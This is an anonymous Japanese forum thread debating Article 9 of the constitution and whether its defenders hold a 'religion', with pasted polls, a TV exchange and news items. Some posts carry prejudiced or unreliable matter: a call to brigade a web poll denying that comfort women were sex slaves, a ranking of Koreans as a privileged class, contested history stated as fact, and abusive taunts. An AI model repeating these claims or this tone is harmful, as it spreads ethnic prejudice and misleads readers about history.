侵略があれば日本政府は憲法に基づき全力で戦争をして国民の権利を守らなければならない。
なのに、

第９条　日本国民は、正義と秩序を基調とする国際平和を誠実に希求し、国権の発動たる
　戦争と、武力による威嚇又は武力の行使は、国際紛争を解決する手段としては、永久に
　これを放棄する。
２　前項の目的を達するため、陸海空軍その他の戦力は、これを保持しない。国の交戦権は、
　これを認めない。

何たる矛盾。矛盾は取り除かなければならない。あとはどっちを取り除くか、だけ。9条か、
それとも11,13条か。

軍事力が必要か否かの議論以前に、警察力を超える実力の保持は、憲法上禁じられています。

この点を措くとして、どうして軍事力が必要なのですか。戦争放棄は人類の理想です。
率先して理想を実現した国をどうして攻撃できましょう。軍事力がなくて不安になるのは、こちらが帝国主義的であるがゆえです。
このような考え方を捨てて隣国との融和に努め、友好関係を確立すれば、何もこわいものはありません。

それに、こちらが軍事力を持つからこそ、周辺国も警戒して軍拡競争につながるのです。
どちらが先に軍備を捨てるかは問題ではありません。正しいことは迷わず実践すべきです。
わが国は、敗戦後、軍国主義・帝国主義との決別を誓って、戦争放棄を宣言したのです。今一度この重みを認識すべきでありましょう。

また、我々は、田中上奏文にあるとおり世界征服を企て、その足がかりとして、アジアの国々を侵略し、諸国民に多大なる苦痛を与えました。
かかる前科に照らせば、諸外国の不安を除去するため、我が国には率先して軍事力を廃棄すべき責務があることは明白です。
これ以外にも、豊臣秀吉の朝鮮出兵のように、歴史上わが国は数々の事件を起こして、その侵略的傾向を顕著に示してきました。
かかる傾向を払拭してアジア諸国の信頼を得るためには、相当思い切った行動に出る必要があります。

加えて、サンフランシスコ平和条約は、わが国が軍備を持たない国家となったことを前提として、締結されたものです。にもかかわらず、条約締結の前提を崩して再軍備するのは、条約違背も甚だしいものです。
つまり、憲法９条は世界との公約なのです。
公約は守らなければなりません。
少なくとも諸外国が是認せぬ限り、日本が軍事力を保持することなど許されません。
民主主義の濫用によって憲法を改悪するなぞ言語道断です。

反省と誓いには行動の裏づけが必要です。これを欠いてはアジア諸国の不信を招くだけです。

サンフランシスコ平和条約では軍備を前提としていませんし、憲法の性質上
世界の公約なんて言うのは失笑ものです。
民主主義の定義もわからないものが濫用なんて。
修行するぞ。を毎日５回繰り返すことからはじめなさい。

そうそう、オレオレ
この前、都内のO駅前で9条を守る会が街宣活動していたんだよ
それもスピーカー・机・カンバンっておなじみのセットでね。
で、同じ道路で営業する同業者として道路使用許可をとっているか聞いたら
「みんなの道路だからそんなもの必要ない」って言ってたわけよ。

いやまぁ、あきれたね。カンバンもち一人にだって許可証は必要だし
最近はマシになったとはいえ最初は根掘り葉掘り聞かれたりと
イロイロな積み重ねがあってここまでたどり着けたのに
それを立った一言で済まそうとするんだから。

地元の顔役にチクろうと思ったけどやさしいおいらは警察に通報して
排除するだけで済ませてあげました。
道路交通法も守れない輩が憲法を守ろうだなんてちゃんちゃらおかしいｗｗｗｗｗｗｗｗｗｗ

>>123
おまえみたいなのは、徴兵されてイラクで爆死する。

>>!24
徴兵とゆーのがどんなものか理解していないバカハケーン！！
ざんねんながらおいら＊＊の役人で＊＊なのでそーゆーのとは無縁なのじゃよ

>>125
じゃあ、リストラされて天下り先も見つけてもらえず路頭に迷う

民権にはじまる憲法へ
　　―――時代塾改憲フォーラム
http://jidaijuku.s23.xrea.com/yobikake.html

公務員ってのを知らないんだなぁ

公務員はよほどのことがない限り免職されたりすることはないし
ましてやリストラ（という名の退職強要）なんてのはまずありえない。
立法府の職員がかなり恣意的な政治活動やってもせいぜい訓告程度にしかならんよｗｗｗ　

Japanese insist that Comfort women were just prostitutes doing legally　permitted business,
employed by commercial brothels. Do you agree with Japanese's notion for the comfort women
as prostitutes than sex slaves?
（慰安婦は商業的売春宿に雇われ公的な許可を得て営業していた、ただの売春婦だと日本は主張し
ています。あなたは慰安婦は性奴隷というより売春婦だったという日本の考えに賛成しますか？）

http://koreascope.com/gnuboard/bbs_en/board.php?bo_table=bbs_event&wr_id=6

性奴隷ではなく　売春婦だった　という主張に同意するか　という質問だからYES　に投票してね 。

改憲賛成。

護憲派は「9条死守」を唱えれば、天国に行けると思ってるのだろう。

>131 さん、

そっ、そうなんです。真の現行平和憲法の擁護者は、その本質である、

「諸国民の公正と信義に日本の安全保障を託す」

を信じ切りる事により、ひたすら九条の「お力」にすがる者なのです。そして、その為には、
世界中で今、起きている　現　実　を　直　視　し　て　は　い　け　な　い　のです。

つまり、

◇国を失った人々や国を形成する力の無い人々の状況について、現実のクルド人や
　パレスチナ人の悲惨さを、明日の我が身と考えないのです。

◇ヨーロッパで国を持てなかったユダヤ人は、蔑まれても、各国の社会で経済的に
　成功してある程度の位置を確保できましたが、彷徨えるロマの人々（ジプシー）の
　生活苦や寿命の短さなど、知らない方が良いのです。

◇国を失ったネィティブ・アメリカンやアボリジニが酒浸りの生活を送っている様な
　現実は見えない事なのです。

　⇒　その現実を思うと九条の「お力」を信じる心が揺らいでしまいます。

　　　　現行平和憲法を擁護する人々は、理想平和の追求に身を捧げる事しか
　　　　考えてはいけません。それは、イエスを信じる者がサタンの振る舞いを考えては
　　　　いけない事と同じなのです。

．．．続く

続き．．．

他国の軍隊が侵攻して来た場合は、何もせず、たとえ家族や恋人や友人達に何が
起ろうとも、現行平和憲法の理想に身を捧げた覚悟で耐え切るのです。

⇒　国際紛争を武力で解決しない事を明記しておりますので、たとえ紛争当事国に
　　なったとしても、戦力は保有せず行使できないのです。　もちろん、国民の一人一人が
　　武器を持って戦うのは否定されておりませんが、交戦権に基づかない武力の行使は
　　ゲリラ活動と見なされてしまいます。

この様に、現行平和憲法による安全保障の世界は、その理想に全てを任せる覚悟が
有る人達の心の中に在る、

　お　花　畑　の　様　な　世　界　なんです。

で、日本国民の全てが、その真の現行平和憲法の擁護者になれば、現　実　の
安　全　保　障　は、考える必要は無く、九条の「お力」を信じるだけで救われるのです。

戦争なんて参加したくて参加するものではない
祖国の安全が脅かされる現実があるから参加するものだ
平和主義の理想で安全と国益は守れない
いつまでもアメリカの属国でいられない
真の大人なら徴兵制を辞さない覚悟があって然るべき

>>134
そこで被害妄想晒す前に、まずかいより始めよ。

他人の子供を戦場に送る事を企む前に、まず自分が行く覚悟を示す為に、
まずそこで腹を切って見せろ。

話はそれからだ。

政治板来たこと無かったんだが、化石サヨがシーラカンスのように生きててビックリしたｗ

化石サヨ最期の楽園だな政治板は

>>134
アメリカは必要もないのにイラク戦争を引き起こしたけどな。
やりたくてやったんじゃないか。
改憲したら日本もこういうくだらぬ戦争に付き合わされるぞ。
今の日本の政治家に、アメリカの参戦要請を拒めると思うのか？

>>113
層化と統一は、自民とベッタリなので安泰。

>>137
既に付き合ってるんだよ

>>137
まあ、古い武器はどんどんと消費しないと、
新しい武器を作ったり売ったりしにくいしな。

いいかげん９条護憲派のほうが日本人のメインストリームだっていう現実を見ろよ糞ウヨｗ


憲法９条を今後どうするかについては、「解釈や運用で対応するのは限界なので、
　改正する」「これまで通り、解釈や運用で対応する」がともに３６％で並んだ。「９条を
　厳密に守り、解釈や運用では対応しない」は２０％だった。

　９条のうち、戦争放棄をうたった第１項については、改正の必要が「ない」が８０％に
　達した。「ある」は１４％だった。戦力不保持をうたった第２項は、改正の必要が「ない」が
　５４％、「ある」が３８％だった。

　「集団的自衛権」に関しては、「これまで通り、使えなくてよい」が５０％。「憲法を改正
　して、使えるようにする」「憲法の解釈を変更して、使えるようにする」は各２１％だった。
　施行６０年を迎える憲法のこれまでの役割を「評価している」は、「大いに」「多少は」を
　合わせて８５％に上り、「評価していない」は計１０％だった。
　http://www.yomiuri.co.jp/politics/news/20070405it11.htm?from=top

とりあえず、
下らん連中を肥えさせるために自分が文字通りの肉骨粉になったりするのは、
まっぴら御免ナリ。

　　憲法９条を守ろう！。

　その為に『諸国民の公正と信義』を日本国民に信じさせるのだ！

　自発的に竹島・北方領土返してもらって、

　北朝鮮への不正送金・北朝鮮の麻薬輸出／拉致解決すれば…。

　って、やっぱ改憲のが簡単だわｗ。

金美齢って確か子供をTBSに就職させているんではなかったか？

じゃあさ、アメリカの銃社会についてどう思う？

改憲派の理論なら、自分の身は自分で守るんだから
個々人による銃所持は理に適ってるね。

>>1
何年か前の「サンプロ」での再現。
その時の内容は「有事法制をめぐる問題」について。
司会の田原総一郎と福島瑞穂の会話。

田原 「有事立法というのは、どこかがもし攻めて来たらどうするのか、
　　　どう対応するのかという法案ですよ。社民党はこんな物いらないって言う訳？」
福島 「戦争の為の法律は要らないと思いますぅ。」
田原 「そうじゃない、どこかが攻めて来た時のために…」
福島 「いや戦争の為の法律ですよぉ。」
田原 「ちょっと待って、じゃぁもしどこかが攻めて来たら殺されりゃぁ良いっていう話し？　降伏する？」
福島 「うーん…、戦争が起きないように努力する事が政治の責任じゃないですかぁ〜」
田原 「いやだからぁ、日本が戦争する気は全く無いでしょ、今でもない！」
福島 「ただですねぇ有事法制はそんな単純な法律ではない訳ですよぉ。
　　　米軍の活動を円滑にしたり、国民保護法制という名でいろんな人の権利を制限する…」
田原 「ちょっと待ってよ、敵が攻めて来た時にね、国民の人権自由とかで
　　　どこ動いて行っても良いですよっとはならないし、そりゃ規制もしますよ、当然。」
草野厚 「福島さんじゃあね、万が一攻められた時に、社民党は国民をどうやって
　　　守るのかという具体的な案が無いじゃないですか？ どうするんですか？」
福島 「うーん、ただ…例えば…非核構想をやるとかですねぇ…」
田原 「ちょぉっと待って！ つまり敵が攻めて来るなんて事は有りえない！っと？
　　　こんな夢みたいな事を自民党は言って、どんどん日本を軍国主義化してると、こういう事？」
福島 「…そうですねぇ、私は北朝鮮などを仮想敵国にしながら、
　　　どんどんどんどん軍事国家の道を歩んでいると思いますぅ。」
田原 「北朝鮮と仲良くするんだって…」
福島 「そうです。そういう努力が必要だと思いますょぉ。」
田原 「っとなると社民党いらなくなっちゃうよ」
福島 「ぃやそんな事は無いですよぉ、だって憲法9条を改憲したいと言うのが今強く出ていて」
草野厚 「あの福島さんね、僕は社民党に頑張ってもらいたいと思う。でもとてもついていけない…」


↑こんなお花が咲いてる能天気な政党が未だに議席を取って、何かにつけて騒いでいるから驚きだ。

>>146
ロボットのようですね。

31歳の児玉は上海に「児玉機関」と呼ばれる店を出した。これは中国人を脅かして、
タングステンやラジウム、コバルト、ニッケルなどの戦略物資をただ同然の安値で買い上げ、
海軍航空本部に納入する仕事だった。形は商取引だが、実際は中国での略奪であった。
児玉はこの仕事でダイヤモンドやプラチナなど1億7500万ドル相当の資金を有した言われている。

　戦後この財産をもって上海から引き上げ、東久邇宮内閣参与となったが、間もなく戦犯の
疑いで占領軍に逮捕。その後釈放されアメリカCIAに協力するようになった。
さらに上海から持ち帰った資金の一部を自由党結成資金として投じた。
これによって児玉は自由民主党に対し影響力を行使できるようになった。

>>中国から泥棒してきた金でできたのが自民党、ＣＩＡからも金をもらった
　政党である。憲法草案で泥棒は合憲とでもいれるのだろうか？

駅前で「けーんぽうきゅうじょ〜っ♪」と、おばはん達が歌っていて
うるさいです。平和を返してください(´д｀；)

>>148
児玉は朝鮮人だお。
うちのじいちゃんが言ってたお。

>>133


九条教の真理…orz

>>146 のコピペはよく見るのだが、本当はやめたほうが良いと
　いいたいが、福嶋の人間性を端的に表していて秀逸なのだよね。
　
　ある程度貼っててもらったほうが良いような気がする。

http://d.hatena.ne.jp/suuuuhi/20070512
明仁さんは、右派が支配した過去の悲惨を忘れないよう、呼びかける。

「日本は昭和の初めから昭和２０年の終戦までほとんど平和な時がありませんでした。
この過去の歴史をその後の時代とともに正しく理解しようと努めることは日本人自身にとって，また日本人が世界の人々と交わっていく上にも極めて大切なことと思います。
戦後６０年に当たって過去の様々な事実が取り上げられ，人々に知られるようになりました。今後とも多くの人々の努力により過去の事実についての知識が正しく継承され，将来にいかされることを願っています。」

「この過去の（右派が支配した悲惨な昭和の初めから昭和20年の終戦までの）歴史を、
その後の時代（過去の侵略戦争を正しかったと考え、昭和の初めから昭和20年の終戦までの日本にシンパシーを感じる右派が、政権をとってしまった現在）と共に、
正しく理解しようと努めることは、日本人自身にとって、また日本人が（現在の右派政権が引き起こした靖国問題や従軍慰安婦問題で世界の非難を浴びているが）世界の人々と交わっていく上にも、きわめて大切なことであると思います」

　　信じている人が救われればいいと思う。

　但し宗教を他人に強要しないでね。　

自民新憲法草案
http://www.jimin.jp/jimin/shin_kenpou/shiryou/pdf/051122_a.pdf
　　　　　　　　　　　　　　　　↓


中山太郎委員長
「いろんな団体から国の形を決める憲法草稿が出てくる。一般国民から公募することも考えている」


太田昭宏代表
「九条は1項、2項も堅持する」


船田氏「党の草案は言い過ぎだと思う」


中川秀直幹事長「新憲法草案を全国から一般公募しながら新しい憲法をみんなで制定していこう」


振り出しに戻る…
　　　↓
「なぜ今なのか？やっぱり、改正はやめよう！」結局元に戻る罠ｗ


ソース
http://headlines.yahoo.co.jp/hl?a=20070519-00000085-jij-pol
http://headlines.yahoo.co.jp/hl?a=20070520-00000052-mai-pol

>>150
＞児玉は朝鮮人だお。
＞うちのじいちゃんが言ってたお

戦前に朝鮮人は、こんな仕事には付かしてないよ。
むしろ朝鮮人を兵隊にしたら、銃を日本に向けるんじゃないかと
徴兵制さえ朝鮮には、戦争末期になるまでやらなかったくらいだ。

こんなスパイや特務機関の仕事じゃ、裏切られたら軍としては
大損害を受けてしまうよ。
外交の機密文書まで見れる立場なんだから。

−−−−−（引用開始）−−−−−
自分は日本を発つ前に外務省情報部長河相達夫氏を訪ねて、外地を旅する
必要な援助と注意を受けたが、そのとき河相氏が数枚の写真を見せて

「これが天皇の軍隊がすることだろうか」と言って憤慨していたが、
それは現地にある日本軍が中国の婦女に暴行を加えている、みるに堪え
ぬ写真であった。
http://homepage3.nifty.com/m_and_y/genron/data/kougun.htm

>>137
＞今の日本の政治家に、アメリカの参戦要請を拒めると思うのか？

それでも陸上自衛隊だけでも撤退できたぜ。
9条がなかったら、今もアメリカに付き合わされてる事だろう。
そのくらいの役には立ってるということだ！

>>157
9条がないのにイラクに行かなかった国だってある。
9条がないのにイラクから日本より早く撤退した国だってある。

俺にいわせれば9条なんかがあるから
今まで水汲みさせられていたんだ。

日本国民の手で新憲法を制定するとしたら護憲でもない改憲でもない加憲が
良い，全文変えるには凄い時間と費用を要する現憲法の条文でも其のまま
通用出来るものは残し時代に合わなくなった条文は削除し付け加える方法が
最も合理的方法と思う，

>>158
＞俺にいわせれば9条なんかがあるから 今まで水汲みさせられていたんだ。

同じ意味になるが、9条があるから治安活動をしなくて良かったんだよ。
9条がなくて、諸外国並みにアメリカに使われてたら、スペインやイギリス
みたいな報復行動があったかもね。

水汲みさせられた程度だから、9条は日本人の役には立ったというわけだ。

ーーーーー（引用開始）−−−−−
スペインの首都マドリード中心部の三つの駅で四つの列車が１０分の間に次々と
爆弾が破裂、車両は大破した。通勤通学客でのラッシュ時間を狙った卑劣なテロ
で、これまでに２００人の死亡が確認され、約１５００人が重軽傷を負った。
http://www.bo-sai.co.jp/spaintero.htm

>>159
＞時代に合わなくなった条文は削除し付け加える方法

時代に合ってないというのじゃなく、どんな役に立ってるのか考えるべき。
今までの日本政府の行動は、自衛隊の保持など国家をまもる為の正当防衛といえる
憲法解釈だ。

しかし総理が目指してるのは、海外派兵を引け目なくやり易くするための手段で
今の日本国憲法が目の上のタンコブになったという証拠にすぎん。

それだけの力をこのポンコツ状態になった日本国憲法が力を持ってるということだ。

この憲法が今なかったら、イラクへの陸上自衛隊派遣ももっと簡単にやれたし
イラクからの撤退も、まだまだしてないだろうね。
タコツボ作戦なんて言って、基地から出ない臆病作戦もとれないよ。
陸自はイラクでの治安維持活動にも使われて、戦死者もたくさん出てる事だろう。

だから時代に合ってないというより、日本人にとっては9条が役に立ってるというべき。

宗教とは何を指すのか。
宗教とは裁判所の言うように「超自然的、超人間的本質の存在を確信し、畏敬、崇拝する心情と行為」とするなら、
政治的信条は、含まれる余地がない。
しかも、今ある憲法を変えなくていいというのが宗教だ、というなら
憲法自体がご神体、ということにならないか。

慶大の小林節教授が言っていた。
「自分は、一時改憲派の集会によく呼ばれたが、最近呼ばれなくなった。
理由は私が9条改憲は不要だが、そのほかの条項を改正するべきと発言したからだ。
改憲派は、議論を受け付けない。彼らのシナリオに、異論をはさむ人間は排除される。」と。

改憲派、と言っているがそのコアとなっているのは、
日本会議系（神社本庁、生長の家など）の宗教右翼と宗教族議員、とその愉快な仲間達。
彼らの目的は、「天皇主権、旧憲法の復活」。
9条改憲はその第一歩という位置づけ。

>>162
＞宗教とは何を指すのか。

宗教とは、個人が生活して行くうえの羅針盤になる信条。

神の存在や、神に対する畏敬は特定の宗派の問題になる。

>>163
>宗教とは、個人が生活して行くうえの羅針盤になる信条。
曖昧かつ広範に失する。
政治板だから、散文的な定義ではなく、政治学、法学的に通説的定義にすべき。

>神の存在や、神に対する畏敬は特定の宗派の問題になる。
　>>162の定義では神、とかに触れていない。

>>164
＞　>>162の定義では神、とかに触れていない。

触れてるよ。
「超自然的、超人間的本質の存在」を神という。

>>165
>「超自然的、超人間的本質の存在」を神という。
それは、あんたの定義じゃないか。
裁判所の定義なら神に限らないだろ、それは。
「超自然的、超人間的本質」という定義なら、霊、超人、神の子孫、妖精、天皇とか、
それらの生まれ変わりとかもふくまれるから。

>>166
＞それらの生まれ変わりとかもふくまれるから。

神といったり、仏といったり、物の怪といったら、悪魔、鬼、妖精、霊など
すべて同じ超自然的存在。

でも天皇は現実の肉体を持った、1人の人間。神様扱いにしても神様にはなれん。

特定の超自然的存在だけを畏敬した集団を宗派という。

宗教とは、超自然的存在も含めて何かを個人が生きていく為の羅針盤にした信条をいう。
だから今の日本国憲法を個人が生きていく為の羅針盤にしてたら、その個人は憲法を
宗教として生きているといえる。

俺は日本国憲法を羅針盤にはしてないけどね。

オレ様定義は結構だけど、憲法が宗教だ、なんて言ったら宗教の意味がなくなる。
しかも、ちゃんと文脈を読んでないからだろうが、天皇が「超人間的、超自然的」な存在か否か、
とか決めつけてるのではなく、「そういう見方をしているのが、宗教と言える」という、定義だろ。

また、宗派なんて関係ない。宗教は信者一人でも、宗教だから。
個人が生きていくための羅針盤、なんて定義は誰が言ってるのか？
ソースを挙げるべき。
オレ様定義は、政治板では通用しない。

『憲法9条護憲主義』とやらが何を指しているのか
はっきりしないのではいかなる議論も無意味

それこそ宗教的な盲目から護憲を訴える人もいれば
科学的態度から護憲を説く人もいる

昔は士農工商だったが
今の日本の特権階級は
�@アメリカ人
�A官僚
�B財界・医師会
�C朝鮮人
�D宗教団体
�E政治家
�F普通の国民
例え総理大臣と言えども、実際は6番目の身分だよね
勇ましいのはテレビ写りだけ。改革など出来るわけがないよ
普通の国民は一番卑しい身分です。
この国は民主主義でもなく、国民主権でもありません
憲法改正するなら主権者は、アメリカ人・朝鮮人・役人・法人
に訂正しなければいけないでしょう。

護憲、という言葉が意図的な誤用。
護憲というのは、「憲法の精神を守る」という意味で、
法治国家の国民であれば、立場や思想、宗教に関係なく守るのが当然。

護憲を否定するのは、無政府主義という。

改憲論者に、対するのは「改憲不要論者」。
しかも、改憲と言ってるがどの部分を変えろ、付け足せと言ってるのかで全然違う。
9条改正論は、右翼宗教団体の横断的政治団体の日本会議系の人間が主に主張し、
次には「天皇君主・元首化」「男女平等規定撤廃」「表現の自由の制限」「政教分離規定撤廃」などが、
本当の目的。
一方で、学者らが唱えているのは9条改正は不要としたうえで、「環境権、プライバシー権」を新たに加えるべき、という。
しかし、これも右翼宗教のほうからは「9条改正が無理なら、とりあえず環境権とか抵抗の少ないもので、
改憲の実績を作って、その次に「天皇元首化」をやればいい。」ともいわれてる。

あげとこう。

電車内で女性にほおずりしたとして、ＮＨＫの山口智也制作局ディレクター（４２）＝東京都調布市＝
が都迷惑防止条例違反の疑いで警視庁に現行犯逮捕されていたことがわかった。
「酔っぱらっていて覚えていないが、事実だとしたら社会的制裁を受ける」と話しているという。
同ディレクターはすでに釈放されたという。
成城署の調べでは、山口ディレクターは１日午後１１時４０分ごろ、
京王線の車内で、都内の女性（３３）にほおずりした疑い。乗り合わせた男性が取り押さえ、桜上水駅で駅員に突きだした。
ＮＨＫによると、山口ディレクターは接見した弁護士に「眠っていて意識がなかった」と話したという。
http://www.asahi.com/national/update/0605/TKY200706050195.html

NHKスペシャル『日本国憲法 誕生』D寺西浩太郎・山口智也
ETV『焼け跡から生まれた憲法草案』D山口智也
ETV 「難民をどう受け入れるか」山口智也ディクレター制作

護憲派？のNHKﾃﾞｨﾚｸﾀｰが逮捕されたようだ。


こんなの他ｽﾚにあったが植草事件にそっくりじゃね？

国家のあり方として、戦争を認めないのはおかしいよね。
確かに交戦権を持たない国もあるみたいだけど、都市国家程度の規模の国しかないと思う。
日本ほどの経済規模で交戦権を放棄するのは無責任にも思う。

>>1 「憲法9条護憲主義は宗教である」
じゃ、お前の言う「宗教」をお前自身の言葉で説明してみろ。

俺は>>1じゃないけど、
宗教とは何かって突き詰めて考えると
「疑うことを捨て信じること」じゃないのかな
神って概念よりそれからもたらされる教義などを信仰することが
大多数の宗教の本質だと感じられるし。

>>176
その流れでいけば、
「宗教とは、団体を組んで”宗教っぽい”ことをやってる人間、集団、または考え」と言える。
まぁ、これだと宗教になってしまう部分が広範すぎるだろうな。

>>168
＞個人が生きていくための羅針盤、なんて定義は誰が言ってるのか？

ヨガの佐保田鶴治博士（元大阪大教授）の本でだったと思う。
そこで見かけた言葉だ。

>>170
＞この国は民主主義でもなく、国民主権でもありません

確かにそうだが、日本の政治に一番影響力のあるのはアメリカだ。
郵政に関しても、イラク派兵の強制にしてもアメリカの意思だったな。

しかし改憲がアメリカの意思かも知れんけど、日本にとっては危険すぎる。
9条の2項をかえたら、今の縛りが切れてイラクどころかアフガンまで派兵させ
られて自衛隊員に名誉の戦死をさせることになるよ。

−−−−−（引用開始）−−−−−
第9条二項に違反すると考えられる防衛力とは、攻撃的防衛力である。攻撃的防衛力
とは何かというと、先制攻撃能力である。先制攻撃とは何かというと、第2次世界大
戦において日本が真珠湾でやったことであり、イラク戦争でアメリカがやったこと
（大量破壊兵器があるという思いこみだけでイラクを徹底破壊）である。

要するに、第9条二項を外して先制攻撃能力を持つということは、日本が歯止めなし
の戦争能力を持ち、何でもありの戦争をすぐにはじめられる状態に身を置くという
に等しいことである。
http://www.nikkeibp.co.jp/style/biz/feature/tachibana/media/050512_shisyu/index1.html

武器崇拝教

武器を持っていれば全ての危難から守られると言う狂信的な宗教。
現在のところ其の教義には全く根拠が無く妄想とされるのが一般的。
他者を殺害して排除し自らの繁栄のみを追求すると言う排他的性質を持ち、現在最も忌むべき
宗教として注目されている。
教義の中にある抑止力については、武器から出る神秘的なパワーにより敵が全く攻撃してこない
と言う出鱈目なものであり、全く根拠が無い。
また、核兵器の章においては兵器としてもつのではなく、偶像として拝するだけで全ての危難から
救われるとする、荒唐無稽で滑稽としか思えない部分もある。
この宗教には、負けると言う概念が無い。これは研究者によると、崇拝者達の構成が社会的弱者であり、
俗に言う「負け犬」と呼ばれる人々から構成される事への配慮の結果であると考えられている。

>>180
武器を憲法９条に書き換えてそっくりお返しします

武器崇拝は邪悪な宗教である
「邪悪」がつく分見劣りしますね

>>181
全然反論になってないですよ
どうしたんですか？
それで何か解決しますか？
アホですか？
そうですか
失礼しました

>>183
反論もなにも、理論構成のおかしいものに反論できないよなぁ
ただの暇つぶしにそんなにくいつかれてもね

>>184

そうですか
貴方は論理的思考を持ち合わせないので
反論は出来ませんか
良く分かりました
改憲主義はお粗末ですね

と言うことでこのスレも
護憲主義者によって改憲主義者が論破されました
ご苦労様でした。

晒し上げ

論理とか論破とか意味わからないなら無理に使わないほうがいいよ
赤っ恥かいてるよ

ダメゲーの中でも上位にランクされるMMORPGｗ
ただしMMORPG初心者のおじさんには喜ばれているようだｗ
低スペックでも軽い軽いｗ

ArsMagna〜封印の大地〜
http://www.arsmagna.jp/

おじさんはルド鯖に池ｗ
シャロン鯖は厨房が多いからやめとけｗ
過疎ってるから少しだけおじさんたち協力してくれｗ

はい晒し上げ

状況そのものが恥ずかしい改憲論者君たちでした
妄想お疲れ様です。

ハイ晒し上げ

>>192
そんなに自分の馬鹿晒さなくてもいいのに

もいっちょ晒し上げ

1LLeqmALは>>180で書いた自分の文章に随分酔ってるみたいだぞ
まさにカルトそのもの
根拠の無い自分の思い込みだけ

具体的な反論が無いから
認めざるを得ないと言うことでしょう
てごたえないですね
改悪派は

>>196
妄想に反論するのはむずかしいが、あえてひとつ。
護憲派はなにに抑止力をもとめるんだ？
９条をお題目のようにとなえていれば、敵は攻撃しないってか？

あらあらちょっとまじめに聞いたら護憲派は退散ですか

聞くんじゃなく反論お願いしますよ先生〜♥
きっとまともな返答が帰ってくるんでしょうからw
で
晒し上げ

これじゃ、まともに反論する論点すらないもんなぁ

>武器崇拝教

武器を持っていれば全ての危難から守られると言う狂信的な宗教。
現在のところ其の教義には全く根拠が無く妄想とされるのが一般的。
他者を殺害して排除し自らの繁栄のみを追求すると言う排他的性質を持ち、現在最も忌むべき
宗教として注目されている。
教義の中にある抑止力については、武器から出る神秘的なパワーにより敵が全く攻撃してこない
と言う出鱈目なものであり、全く根拠が無い。
また、核兵器の章においては兵器としてもつのではなく、偶像として拝するだけで全ての危難から
救われるとする、荒唐無稽で滑稽としか思えない部分もある。
この宗教には、負けると言う概念が無い。これは研究者によると、崇拝者達の構成が社会的弱者であり、
俗に言う「負け犬」と呼ばれる人々から構成される事への配慮の結果であると考えられている。

>>180
世界の国のほとんどが
自国を守るための手段として
軍隊を保持してるんだけど
その中で日本だけ持ってはだめという理由は？

あげ

だめだねえ
改憲派は
晒し上げ

満足な反論が帰ってきた事一度もねえもんな

★各国の憲法改正状況

アメリカ→→→→１８回
フランス→→→→１６回
イタリア→→→→１４回
オーストラリア→→３回
中華人民共和国→３回
大韓民国→→→→９回
日本→→→→→→０回←←←←←←ココ、注目

★1947年…日本国憲法施行←←←←←←←集団的自衛権は認めず
★1956年…日本、国際連合に加盟←←←←国連憲章により集団的自衛権が認められる。

国連に加盟した時点で、国連憲章との整合性をとる為に憲法改正が必要でしたが政治家の怠慢により改正されませんでした。
国際法＞＞＞憲法＞＞＞法律＞＞＞条令＞＞＞就業規則

護憲派は相変わらず卑怯だねー
答えられなくなると逃げちゃうし
ほとぼりさめた頃にまた口汚く
根拠もなく罵り始めるんだろうな

晒しあげ
如何でもいいけどこの体たらく・・・

優秀な護憲派の方々、早く
>>197>>201
に答えてくれよ

自分は妄想語っておいて、
まともな質問されたら全く答えられない
護憲て破綻してるね

改憲は妄想である事に了解をいただけて
とても嬉しゅうございます。
お体に気をつけて

おめえら
狼狽しすぎ

■国民新党がペマ・ギャルポ氏擁立　チベット出身、比例代表で
http://www.sankei.co.jp/seiji/senkyo/070517/snk002.htm

■ペマ・ギャルポ氏の警告（2005年日本に帰化、桐蔭横浜大学法学部教授）

敬虔な仏教国チベットでは指導者である僧侶達が殺生を禁じ
「仏を拝んでいれば平和は保たれる」と主張し抵抗を禁じたがその結果チベットは地獄になってしまった。
中共軍が本格的に進入してきた時、チベット軍はすでに解体させられていた。
「インドに頼もう」とか「国連に訴えよう」とチベットは行動をおこしたがインドは動かなかった。
国際司法裁判所では「中国のチベット進攻は侵略である」と認定したが、それだけであった。

そして９５％の僧院が破壊され、１２０万人のチベット人が虐殺された。
日本人に言いたい事は、自分でいくら平和宣言をしても他国を縛る事はできない。
泥棒を中に入れてから鍵をかけても遅いという事だ。

>>210
改憲は妄想なんてひとつも言ってないのに・・・
国語力も無いんだね
まともに回答できないようだから論破終了ということで
やっぱり護憲派は涙目がよく似合うよ

簡単じゃねえか
護憲派の言葉に改憲派は反論できません
以後改憲などという妄想は人前では話しません
でいいんじゃないの？

難しく考えすぎてるんじゃねえの？

>>214
あらあら国語力もなければ流れも読めないのか
>>197>>201
に答えてから言ってごらん、涙目君

>213
>やっぱり護憲派は涙目がよく似合うよ
全く同感（笑）

面白いので上げ

涙目ifrISLKh君
ほとぼり待ちですか？

何？

>>220
そろそろ
>>197>>201
に答えてごらん、涙目君

改憲主張者ってどこのすれでもそうだけど
護憲主張者の言葉に反論する能力が無いよな
そこが面白くもあり、可愛くもあり、また哀れでもある
語彙に乏しく、人まねの言葉しか発する事が出来ないのなら
政治板などに来なければいいのにといつも思う。

客観的に見て
今追い込まれているのは、改憲主張者
これは誰の目にも明らかなので
言い訳は、かえって傷口を広げるだけですよ

護憲主張者による論破を認めたも同然の状況ですね
非常に面白い

>>222
>>197>>201
に答えてから言ってごらん、涙目君
素直に答えられませんて認めたら？
とぼけたり、はぐらかしたり、誰の目にも
君の無能さが明らかだよ
護憲の仲間も辟易しちゃうよ

護憲主張者による論破を認定します

反論0だったのは前代未聞ですね
全く言葉を返せず完全屈服の完全論破
見事です

>>226
>>197>>201
に答えてられるのかな、涙目君

哀れな改憲主張者
あなた方に用意されてる政治思想板のスレを紹介します

右翼思想を持つと馬鹿になるってホント？

です
あなた方の最後の墓場になるので存分にお楽しみください。

護憲主張者の完全勝利と改憲主張者の醜態晒しを
心よりお祝い申し上げます

このスレの流れで護憲派が改憲を論破したって！？
まじめにいっているなら国語力の相当な欠如
まあ、あえて事実を自分たちに都合よく捻じ曲げるのは
護憲派の特徴だけどね

で
>>197>>201
には答えられないということでおｋ？

いいんじゃないですか？
反論してこない相手に反論しなくても？
しかも得意げですけど、最初の改憲派のレスであなた方の意見全てを
打ち消してますので、反論しない限り意見は通りませんね。
改憲派が論破されてしまった事は周知の事実ですしね。
あなた方のあほさ加減に呆れたのではないでしょうか？
私も納得です。
如何あがいても反論できない以上あなた方の負けですよ。

おっと
最初の護憲派のレスでですね

武装崇拝狂の定義は見事ですよ

論をなしてないものに反論はできないよな
なんでも論破してみせるから論戦挑んでこいよ
意味なく罵るだけじゃなくてさ

で
>>197>>201
には答えられないということだね？

ぴんぽ〜ん！

